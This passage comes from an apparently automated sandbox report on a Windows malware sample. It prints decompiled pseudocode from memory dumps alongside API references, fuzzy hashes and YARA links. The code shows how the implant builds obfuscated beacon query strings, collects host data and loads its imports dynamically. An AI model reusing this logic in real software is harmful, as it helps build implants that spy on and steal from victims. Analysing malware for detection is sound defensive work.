						_t70 = E00F056FA(_t69);
						if(_t70 != 0) {
							_push(_t70);
							E00F06702();
						}
					}
					if(_t97 == 0) {
						_t49 = 0;
					} else {
						_t67 =  *0xf0d2a4; // 0x63699bc3
						_t49 = E00F06B2E(_t98, _t97, _t67 ^ 0xb30fc035);
					}
					if(_t49 != 0 && E00F056FA(0, _t49) != 0) {
						_t114 =  *0xf0d32c; // 0x52795b0
						E00F023F4(_t114 + 4, _t65);
					}
					if(_t97 == 0) {
						_t50 = 0;
					} else {
						_t62 =  *0xf0d2a4; // 0x63699bc3
						_t50 = E00F06B2E(_t98, _t97, _t62 ^ 0x372ab5b7);
					}
					if(_t50 == 0) {
						L52:
						_t51 =  *0xf0d2a8; // 0x436a5a8
						_t20 = _t51 + 0xf0e252; // 0x616d692f
						 *0xf0d2d4 = _t20;
						goto L53;
					} else {
						_t61 = E00F056FA(0, _t50);
						 *0xf0d2d4 = _t61;
						if(_t61 != 0) {
							L53:
							if(_t97 == 0) {
								_t53 = 0;
							} else {
								_t58 =  *0xf0d2a4; // 0x63699bc3
								_t53 = E00F06B2E(_t98, _t97, _t58 ^ 0xd8dc5cde);
							}
							if(_t53 == 0) {
								_t54 =  *0xf0d2a8; // 0x436a5a8
								_t21 = _t54 + 0xf0e791; // 0x6976612e
								_t55 = _t21;
							} else {
								_t55 = E00F056FA(0, _t53);
							}
							 *0xf0d340 = _t55;
							HeapFree( *0xf0d238, 0, _t97);
							_v12 = 0;
							goto L60;
						}
						goto L52;
					}
				}
			}

0x00f0888e
0x00f08891
0x00f088b1
0x00f088bf
0x00f088bf
0x00f088c4
0x00f088de
0x00f08b0d
0x00f08b14
0x00f08b1b
0x00f08b1b
0x00f088e4
0x00f08900
0x00f08afb
0x00f08b05
0x00000000
0x00f08906
0x00f08906
0x00f0890b
0x00f08921
0x00f0890d
0x00f0890d
0x00f0891a
0x00f0891a
0x00f0892b
0x00f0892d
0x00f08937
0x00f0893c
0x00f0893c
0x00f08937
0x00f08943
0x00f08959
0x00f08945
0x00f08945
0x00f08952
0x00f08952
0x00f0895d
0x00f0895f
0x00f08969
0x00f0896e
0x00f0896e
0x00f08969
0x00f08975
0x00f0898b
0x00f08977
0x00f08977
0x00f08984
0x00f08984
0x00f0898f
0x00f08991
0x00f0899b
0x00f089a0
0x00f089a0
0x00f0899b
0x00f089a7
0x00f089bd
0x00f089a9
0x00f089a9
0x00f089b6
0x00f089b6
0x00f089c1
0x00f089c3
0x00f089cd
0x00f089d2
0x00f089d2
0x00f089cd
0x00f089d9
0x00f089ef
0x00f089db
0x00f089db
0x00f089e8
0x00f089e8
0x00f089f3
0x00f089f5
0x00f089ff
0x00f08a04
0x00f08a04
0x00f089ff
0x00f08a0b
0x00f08a21
0x00f08a0d
0x00f08a0d
0x00f08a1a
0x00f08a1a
0x00f08a25
0x00f08a27
0x00f08a2a
0x00f08a2b
0x00f08a32
0x00f08a34
0x00f08a35
0x00f08a35
0x00f08a32
0x00f08a3c
0x00f08a52
0x00f08a3e
0x00f08a3e
0x00f08a4b
0x00f08a4b
0x00f08a56
0x00f08a64
0x00f08a6e
0x00f08a6e
0x00f08a75
0x00f08a8b
0x00f08a77
0x00f08a77
0x00f08a84
0x00f08a84
0x00f08a8f
0x00f08aa2
0x00f08aa2
0x00f08aa7
0x00f08aad
0x00000000
0x00f08a91
0x00f08a94
0x00f08a99
0x00f08aa0
0x00f08ab2
0x00f08ab4
0x00f08aca
0x00f08ab6
0x00f08ab6
0x00f08ac3
0x00f08ac3
0x00f08ace
0x00f08ada
0x00f08adf
0x00f08adf
0x00f08ad0
0x00f08ad3
0x00f08ad3
0x00f08aed
0x00f08af2
0x00f08af8
0x00000000
0x00f08af8
0x00000000
0x00f08aa0
0x00f08a8f

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008), ref: 00F08933
StrToIntExA.SHLWAPI(00000000,00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008), ref: 00F08965
StrToIntExA.SHLWAPI(00000000,00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008), ref: 00F08997
StrToIntExA.SHLWAPI(00000000,00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008), ref: 00F089C9
StrToIntExA.SHLWAPI(00000000,00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008), ref: 00F089FB
HeapFree.KERNEL32(00000000,00F05D25,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008,?,00F05D25), ref: 00F08AF2
HeapFree.KERNEL32(00000000,?,00F05D25,?,63699BC3,?,00F05D25,63699BC3,?,00F05D25,63699BC3,00000005,00F0D00C,00000008,?,00F05D25), ref: 00F08B05

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: caa46da5d03dd9106df55e46da62d67c3dc3085b4559e6dedad56cc7876da65d
Instruction ID: a3ae6e0171aa756611d0c4427ed29c7d2ed67ca636b5f57aee82f66c0b56ee0a
Opcode Fuzzy Hash: caa46da5d03dd9106df55e46da62d67c3dc3085b4559e6dedad56cc7876da65d
Instruction Fuzzy Hash: 3F7191B1F00109EFCB10FBF9CD84D6BB7EDEB887907240912A446D7195EA78D942BB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F01F13, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00F01F13(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0xf0d018; // 0xb20846e7
				asm("bswap eax");
				_t27 =  *0xf0d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0xf0d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0xf0d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0xf0d2a8; // 0x436a5a8
				_t3 = _t30 + 0xf0e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d15e, _t29, _t28, _t27, _t26,  *0xf0d02c,  *0xf0d004, _t25);
				_t33 = E00F056CD();
				_t34 =  *0xf0d2a8; // 0x436a5a8
				_t4 = _t34 + 0xf0e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E00F058DB(_t91);
				if(_t96 != 0) {
					_t83 =  *0xf0d2a8; // 0x436a5a8
					_t6 = _t83 + 0xf0e8d4; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0xf0d238, 0, _t96);
				}
				_t97 = E00F0A199();
				if(_t97 != 0) {
					_t78 =  *0xf0d2a8; // 0x436a5a8
					_t8 = _t78 + 0xf0e8dc; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0xf0d238, 0, _t97);
				}
				_t98 =  *0xf0d32c; // 0x52795b0
				_a32 = E00F04622(0xf0d00a, _t98 + 4);
				_t42 =  *0xf0d2d0; // 0x0
				if(_t42 != 0) {
					_t74 =  *0xf0d2a8; // 0x436a5a8
					_t11 = _t74 + 0xf0e8b6; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0xf0d2cc; // 0x0
				if(_t43 != 0) {
					_t71 =  *0xf0d2a8; // 0x436a5a8
					_t13 = _t71 + 0xf0e88d; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0xf0d238, 0, 0x800);
					if(_t100 != 0) {
						E00F0518F(GetTickCount());
						_t50 =  *0xf0d32c; // 0x52795b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0xf0d32c; // 0x52795b0
						__imp__(_t54 + 0x40);
						_t56 =  *0xf0d32c; // 0x52795b0
						_t103 = E00F01BB6(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0xf0c28c);
							_push(_t103);
							_t62 = E00F0361A();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E00F06777(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E00F06761();
								}
								HeapFree( *0xf0d238, 0, _v44);
							}
							HeapFree( *0xf0d238, 0, _t103);
						}
						HeapFree( *0xf0d238, 0, _t100);
					}
					HeapFree( *0xf0d238, 0, _a24);
				}
				HeapFree( *0xf0d238, 0, _t105);
				return _a12;
			}

0x00f01f13
0x00f01f13
0x00f01f13
0x00f01f18
0x00f01f1e
0x00f01f28
0x00f01f2a
0x00f01f2a
0x00f01f37
0x00f01f42
0x00f01f45
0x00f01f50
0x00f01f53
0x00f01f58
0x00f01f5b
0x00f01f60
0x00f01f63
0x00f01f6f
0x00f01f7c
0x00f01f7e
0x00f01f84
0x00f01f89
0x00f01f94
0x00f01f96
0x00f01f99
0x00f01fa0
0x00f01fa4
0x00f01fa6
0x00f01fab
0x00f01fb7
0x00f01fb9
0x00f01fc5
0x00f01fc7
0x00f01fc7
0x00f01fd2
0x00f01fd6
0x00f01fd8
0x00f01fdd
0x00f01fe9
0x00f01feb
0x00f01ff7
0x00f01ff9
0x00f01ff9
0x00f01fff
0x00f02012
0x00f02016
0x00f0201d
0x00f02020
0x00f02025
0x00f02030
0x00f02032
0x00f02035
0x00f02035
0x00f02037
0x00f0203e
0x00f02041
0x00f02046
0x00f02050
0x00f02052
0x00f0205a
0x00f02073
0x00f02077
0x00f02083
0x00f02088
0x00f02091
0x00f020a2
0x00f020a6
0x00f020af
0x00f020b5
0x00f020c2
0x00f020cf
0x00f020d5
0x00f020e1
0x00f020e7
0x00f020e8
0x00f020ed
0x00f020f3
0x00f020f9
0x00f02100
0x00f02107
0x00f0210d
0x00f02114
0x00f02118
0x00f02123
0x00f02128
0x00f0212e
0x00f02137
0x00f02137
0x00f02148
0x00f02148
0x00f02157
0x00f02157
0x00f02166
0x00f02166
0x00f02178
0x00f02178
0x00f02187
0x00f02198

APIs

GetTickCount.KERNEL32 ref: 00F01F2A
wsprintfA.USER32 ref: 00F01F77
wsprintfA.USER32 ref: 00F01F94
wsprintfA.USER32 ref: 00F01FB7
HeapFree.KERNEL32(00000000,00000000), ref: 00F01FC7
wsprintfA.USER32 ref: 00F01FE9
HeapFree.KERNEL32(00000000,00000000), ref: 00F01FF9
wsprintfA.USER32 ref: 00F02030
wsprintfA.USER32 ref: 00F02050
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00F0206D
GetTickCount.KERNEL32 ref: 00F0207D
RtlEnterCriticalSection.NTDLL(05279570), ref: 00F02091
RtlLeaveCriticalSection.NTDLL(05279570), ref: 00F020AF

Part of subcall function 00F01BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,00F020C2,?,052795B0), ref: 00F01BE1
Part of subcall function 00F01BB6: lstrlen.KERNEL32(?,?,?,00F020C2,?,052795B0), ref: 00F01BE9
Part of subcall function 00F01BB6: strcpy.NTDLL ref: 00F01C00
Part of subcall function 00F01BB6: lstrcat.KERNEL32(00000000,?), ref: 00F01C0B
Part of subcall function 00F01BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00F020C2,?,052795B0), ref: 00F01C28

StrTrimA.SHLWAPI(00000000,00F0C28C,?,052795B0), ref: 00F020E1

Part of subcall function 00F0361A: lstrlen.KERNEL32(05279A78,00000000,00000000,74ECC740,00F020ED,00000000), ref: 00F0362A
Part of subcall function 00F0361A: lstrlen.KERNEL32(?), ref: 00F03632
Part of subcall function 00F0361A: lstrcpy.KERNEL32(00000000,05279A78), ref: 00F03646
Part of subcall function 00F0361A: lstrcat.KERNEL32(00000000,?), ref: 00F03651

lstrcpy.KERNEL32(00000000,?), ref: 00F02100
lstrcpy.KERNEL32(00000000,00000000), ref: 00F02107
lstrcat.KERNEL32(00000000,?), ref: 00F02114
lstrcat.KERNEL32(00000000,00000000), ref: 00F02118

Part of subcall function 00F06777: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 00F06829

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 00F02148
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00F02157
HeapFree.KERNEL32(00000000,00000000,?,052795B0), ref: 00F02166
HeapFree.KERNEL32(00000000,00000000), ref: 00F02178
HeapFree.KERNEL32(00000000,?), ref: 00F02187

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: ef38c22e8e2151dc88f06c7c76255f86adad99d08175ed253aecf8c99575cc16
Instruction ID: e01d7f98f1724f4dcba92416b8c048e997003474c3d9cb1446477c5e4675c7c6
Opcode Fuzzy Hash: ef38c22e8e2151dc88f06c7c76255f86adad99d08175ed253aecf8c99575cc16
Instruction Fuzzy Hash: 89617071500209EFD7219BA8EC89F6A7BE9FB48750F040614FA48D72B1DB35E805FBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F0AC55, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00F0AC55(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0xf00000;
				_t115 = _t139[3] + 0xf00000;
				_t131 = _t139[4] + 0xf00000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0xf00000;
				_v16 = _t139[5] + 0xf00000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0xf00002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0xf0d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0xf0d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0xf0d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0xf0d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0xf0d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0xf0d198; // 0x0
										 *_t102 = _t125;
										 *0xf0d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0xf0d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x00f0ac64
0x00f0ac7a
0x00f0ac80
0x00f0ac82
0x00f0ac87
0x00f0ac8d
0x00f0ac92
0x00f0ac95
0x00f0aca3
0x00f0acaa
0x00f0acad
0x00f0acb0
0x00f0acb1
0x00f0acb4
0x00f0acb7
0x00f0acba
0x00f0acbf
0x00f0acce
0x00000000
0x00f0acd4
0x00f0acde
0x00f0ace8
0x00f0aced
0x00f0acef
0x00f0acf9
0x00f0acfc
0x00f0acff
0x00f0ad05
0x00f0ad07
0x00f0ad07
0x00f0ad0a
0x00f0ad0d
0x00f0ad12
0x00f0ad16
0x00f0ad29
0x00f0ad2b
0x00f0add3
0x00f0add3
0x00f0adda
0x00f0addd
0x00f0ade7
0x00f0ade7
0x00f0adeb
0x00f0ae69
0x00f0ae6c
0x00f0ae6e
0x00f0ae6e
0x00f0ae75
0x00f0ae77
0x00f0ae81
0x00f0ae84
0x00f0ae87
0x00f0ae87
0x00000000
0x00f0aded
0x00f0adf0
0x00f0ae1e
0x00f0ae28
0x00f0ae2c
0x00f0ae34
0x00f0ae37
0x00f0ae3e
0x00f0ae48
0x00f0ae48
0x00f0ae4c
0x00f0ae51
0x00f0ae60
0x00f0ae66
0x00f0ae66
0x00f0ae4c
0x00000000
0x00f0adf7
0x00f0adfa
0x00f0ae02
0x00f0ae17
0x00f0ae1c
0x00000000
0x00000000
0x00f0ae1c
0x00000000
0x00f0ae02
0x00f0adf0
0x00f0adeb
0x00f0ad31
0x00f0ad38
0x00f0ad48
0x00f0ad51
0x00f0ad55
0x00f0ad98
0x00f0ada4
0x00f0adcd
0x00f0ada6
0x00f0adaa
0x00f0adb0
0x00f0adb8
0x00f0adba
0x00f0adbd
0x00f0adc3
0x00f0adc5
0x00f0adc5
0x00f0adb8
0x00f0adaa
0x00000000
0x00f0ada4
0x00f0ad5d
0x00f0ad60
0x00f0ad67
0x00f0ad77
0x00f0ad7a
0x00f0ad8a
0x00000000
0x00f0ad90
0x00f0ad71
0x00f0ad75
0x00000000
0x00000000
0x00000000
0x00f0ad75
0x00f0ad42
0x00f0ad46
0x00000000
0x00000000
0x00000000
0x00f0ad46
0x00f0ad1f
0x00f0ad23
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F0ACCE
LoadLibraryA.KERNEL32(?), ref: 00F0AD4B
GetLastError.KERNEL32 ref: 00F0AD57
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 00F0AD8A

Strings

$, xrefs: 00F0ACA3

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 36b63becd69f53d88df273d5d836b0a3cb2d7a31d63faaeaf724038edd3d58d1
Instruction ID: a6fe194957b98727d3668bfd2e5de471a4908c3d2ae874197ce8361b14601918
Opcode Fuzzy Hash: 36b63becd69f53d88df273d5d836b0a3cb2d7a31d63faaeaf724038edd3d58d1
Instruction Fuzzy Hash: 8A813C75A00309AFDB21CFA9D884BAEB7F5FF48311F148129E905D7290EB70E905EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F06C38, Relevance: 16.6, APIs: 11, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00F06C38(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				WCHAR* _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				WCHAR* _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				WCHAR* _t91;

				_t79 =  *0xf0d33c; // 0x5279798
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E00F0A557(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0xf0c18c;
				}
				_t46 = E00F018A5(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E00F0A71F(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0xf0d2a8; // 0x436a5a8
						_t16 = _t75 + 0xf0eb08; // 0x530025
						wsprintfW(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E00F0A557(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0xf0c190;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E00F0A71F(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E00F0A734(_v20);
						} else {
							_t66 =  *0xf0d2a8; // 0x436a5a8
							_t31 = _t66 + 0xf0ec28; // 0x73006d
							wsprintfW(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E00F0A734(_v12);
				}
				return _v24;
			}

0x00f06c40
0x00f06c46
0x00f06c4d
0x00f06c53
0x00f06c57
0x00f06c5b
0x00f06c5e
0x00f06c63
0x00f06c68
0x00f06c6a
0x00f06c6a
0x00f06c73
0x00f06c78
0x00f06c7d
0x00f06c83
0x00f06c8d
0x00f06c96
0x00f06c9d
0x00f06cb6
0x00f06cbb
0x00f06cc0
0x00f06cc9
0x00f06cd2
0x00f06ce3
0x00f06cec
0x00f06cf0
0x00f06cf4
0x00f06cf9
0x00f06cfe
0x00f06d00
0x00f06d00
0x00f06d0a
0x00f06d13
0x00f06d1a
0x00f06d32
0x00f06d36
0x00f06d73
0x00f06d38
0x00f06d3b
0x00f06d43
0x00f06d54
0x00f06d60
0x00f06d68
0x00f06d6c
0x00f06d6c
0x00f06d36
0x00f06d7b
0x00f06d80
0x00f06d87

APIs

GetTickCount.KERNEL32 ref: 00F06C4D
lstrlen.KERNEL32(?,80000002,00000005), ref: 00F06C8D
lstrlen.KERNEL32(00000000), ref: 00F06C96
lstrlen.KERNEL32(00000000), ref: 00F06C9D
lstrlenW.KERNEL32(80000002), ref: 00F06CAA
wsprintfW.USER32 ref: 00F06CE3
lstrlen.KERNEL32(?,00000004), ref: 00F06D0A
lstrlen.KERNEL32(?), ref: 00F06D13
lstrlen.KERNEL32(?), ref: 00F06D1A
lstrlenW.KERNEL32(?), ref: 00F06D21
wsprintfW.USER32 ref: 00F06D54

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$wsprintf$CountFreeHeapTick
String ID:
API String ID: 822878831-0
Opcode ID: 6d5d24190cffddf0c76f29d944b3145f66f6bf8953ba4190ffb37a8b25f3bd67
Instruction ID: d8c260bf96e777dde3916fa3c163c23ea3a1309543d699a8024352da3f49640a
Opcode Fuzzy Hash: 6d5d24190cffddf0c76f29d944b3145f66f6bf8953ba4190ffb37a8b25f3bd67
Instruction Fuzzy Hash: 75414976D00219FBDF12AFA4CC0999EBBB5FF44314F154150E904AB261DB359A60FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F08EA1, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00F08EA1(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E00F0592D(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E00F0A749( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0xf0d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
